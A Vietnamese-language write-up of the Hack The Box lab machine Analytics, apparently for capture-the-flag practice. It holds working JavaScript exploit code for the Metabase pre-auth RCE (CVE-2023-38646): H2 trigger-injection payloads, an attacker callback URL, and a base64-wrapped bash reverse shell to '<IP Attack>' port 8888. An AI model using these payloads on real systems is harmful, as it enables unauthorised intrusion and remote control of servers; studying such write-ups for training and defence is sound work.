Enumeration
Zenmap:
Kiểm tra website:Kiểm tra website, tôi thấy rằng khi click login website chuyển sang tên miền khác http://data.analytical.htb/ Đây là một website Metabase sign.Gaining access metabase
Nhiên cứu về Metabase và các lỗ hổng liên quan: CVE-2023–38646 Pre-Auth RCE in Metabase
Thực hiện khai thác nó:
Đầu tiên tôi kiểm tra /api/session/properties trong burp và tôi lấy được setup-token.
Hoặc tôi sử dụng một số lệnh java script sau:const response = await fetch("http://data.analytical.htb/api/session/properties");
const properties = await response.json();
console.log(properties['setup-token']);
Kết quả tôi thu được từ việc chạy lệnh sẽ như sau:Hoặc tôi có thể viết một tập lệnh javascript như sau:
const response = await fetch("http://data.analytical.htb/api/session/properties");
const properties = await response.json();
const data = {
"token": properties['setup-token'],
"details":
{
"is_on_demand": false,
"is_full_sync": false,
"is_sample": false,
"cache_ttl": null,
"refingerprint": false,
"auto_run_queries": true,
"schedules":
{},
"details":
{
"db": "zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER IAMPWNED BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\nnew java.net.URL('http://<IP Attack>/dryu8').openConnection().getContentLength()\n$$--=x\\;",
"advanced-options": false,
"ssl": true
},
"name": "an-sec-research-team",
"engine": "h2"
}
}
var content = await fetch("http://data.analytical.htb/api/setup/validate", {
"headers": {
"content-type": "application/json"
},
"body": JSON.stringify(data),
"method": "POST"
}).then(function (res) {
return res.text();
Kết quả chạy tập lệnh trên cũng sẽ nhận được kết nối từ server.
Tôi biết rằng mình có thể thực thi mã từ xa. Thực hiện kết nối reverse shell và tôi nhận được shell như sau:Trước đó tôi gửi một kết nối tới server như sau:
Hoặc tôi đã viết một tập lệnh java script để đơn giản hóa kết nối:const response = await fetch("http://data.analytical.htb/api/session/properties");
const properties = await response.json();
function rce(command) {
const data = {
"token": properties['setup-token'],
"details":
{
"is_on_demand": false,
"is_full_sync": false,
"is_sample": false,
"cache_ttl": null,
"refingerprint": false,
"auto_run_queries": true,
"schedules":
{},
"details":
{
"db": "zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER pwnshell BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\njava.lang.Runtime.getRuntime().exec('bash -c {echo," + btoa(command) + "}|{base64,-d}|{bash,-i}')\n$$--=x",
"advanced-options": false,
"ssl": true
},
"name": "an-sec-research-team",
"engine": "h2"
}
}
fetch("http://data.analytical.htb/api/setup/validate", {
"headers": {
"content-type": "application/json"
},
"body": JSON.stringify(data),
"method": "POST"
}).then(function (res) {
return res.text();
});
}
rce("bash -i >&/dev/tcp/<IP Attack>/8888 0>&1")
Khi đó tôi gửi rce lên server như sau:
Ngoài ra tôi cũng có thể sử dụng mem để thay thế cho zip như sau:
const response = await fetch("http://data.analytical.htb/api/session/properties");
const properties = await response.json();
function rce(command) {
const data = {
"details": {
"details": {
"advanced-options": true,
"classname": "org.h2.Driver",
"subname": "mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CREATE TRIGGER pwnshell BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\njava.lang.Runtime.getRuntime().exec('bash -c {echo," + btoa(command) + "}|{base64,-d}|{bash,-i}')\n$$--=x",
"subprotocol": "h2"
},
"engine": "postgres",
"name": "x"
},
"token": properties['setup-token']
}
fetch("http://data.analytical.htb/api/setup/validate", {
"headers": {
"content-type": "application/json"
},
"body": JSON.stringify(data),
"method": "POST"
}).then(function (res) {
return res.text();
});
}
rce("bash -i >&/dev/tcp/<IP Attack>/8888 0>&1")
Gaining access metabase
Kiểm tra environment variables và tôi có user và password để login ssh:
PS D:\thehackbox\Machines\Analytics> ssh metalytics@analytical.htb
metalytics@analytical.htb's password:
metalytics@analytics:~$ whoami
metalytics
metalytics@analytics:~$ ls
user.txt
metalytics@analytics:~$
Privilege escalation
Kiểm tra kernel linux:
Tìm kiếm các lỗ hổng về kernel sau, và tôi tìm thấy overlayfs.